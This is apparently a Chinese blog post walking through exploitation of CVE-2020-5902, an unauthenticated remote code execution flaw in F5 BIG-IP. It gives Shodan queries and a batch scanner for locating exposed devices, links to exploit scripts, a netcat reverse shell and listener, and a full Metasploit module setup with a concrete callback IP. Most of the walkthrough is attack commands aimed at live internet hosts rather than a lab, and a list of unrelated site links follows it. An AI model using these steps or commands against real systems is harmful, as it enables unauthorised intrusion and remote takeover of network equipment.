漏洞复现 | CVE‐2020‐5902踩坑记
时间:2022-07-24
本文章向大家介绍漏洞复现 | CVE‐2020‐5902踩坑记,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
本文作者:Taoing(Ms08067实验室 SRSP TEAM小组成员)
0x0:漏洞概述
F5 BIG‐IP 是美国 F5 公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。2020年7月1日,F5官方公布流量管理用户界面(TMUI)存在 前台远程执行代码(RCE)漏洞(CVE‐2020‐5902)。攻击者利用该漏洞,构造恶意请求,在未授权的情况下获得目标服务器的权限,实现远程代码执行。
0x1:影响版本范围
F5 BIG‐IP < 15.1.0.4
F5 BIG‐IP < 14.1.2.6
F5 BIG‐IP < 13.1.3.4
F5 BIG‐IP < 12.1.5.2
F5 BIG‐IP < 11.6.5.2
0x2设备检索:
shodan
http.favicon.hash:‐335242539 2、http.title:"BIG‐IP® ;‐ Redirect"
0x3shodan批量脚本:
https://github.com/aqhmal/CVE‐2020‐5902‐Scanner
1.下载脚本后安装库文件, pip3 install ‐r requirements.txt
2.打开脚本文件scanner.py,加入自己shodan key
3.开干 python3 scan.py
0x4漏洞复现:
https://github.com/jas502n/CVE‐2020‐5902
更改CVE‐2020‐5902.py 里的url,然后直接运行 python CVE‐2020‐5902.py。这里我使用的是python2 运行
反弹shell:nc ‐e /bin/bash ip port
监听:nc ‐lvvp port
Msf坑之多:
1.开始我使用wget最后各种问题。直接浏览器下载。拖进msf
https://github.com/rapid7/metasploit‐framework/blob/0417e88ff24bf05b8874c953bd91600f10186ba4/modules/exploits/linux/http/f5_bigip_tmui_rce.rb
2.解决方法:
下载后拖进去
﴾/usr/share/metasploit‐framework/modules/exploits/linux/http/﴿
打开msf依次执行
msfconsole reload_all search f5_bigip
use exploit/linux/http/f5_bigip_tmui_rce
set rhost 1.2.3.4
set lhost 129.204.113.202
set lport 5567
set payload cmd/unix/reverse_python
run
0x5:总结:
坑点:msf最好在云上,虚拟机啥的弹不了
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Leetcode 698. 划分为k个相等的子集
- java数据结构与算法-快速排序
- 线上环境 Linux 系统调用追踪
- Kubernetes 1.19.0——其他控制器
- leetcode树之二叉树的所有路径
- Nginx 防盗链
- MySQL见闻录 - 入门之旅
- javaAPI操作hadoop hdfs
- java中各种距离换算
- SAP Spartacus HttpParamsURIEncoder单元测试文件备份
- 微PE制作U盘启动盘,并安装Win10
- Angular单元测试如何只执行指定的测试用例,提高测试速度
- 院长智能部署Frp内网穿透---支持多系统
- dotnet OpenXML 元素 cNvPr NonVisual Drawing Properties 重复 id 标识处理
- Magicodes.IE之花式导出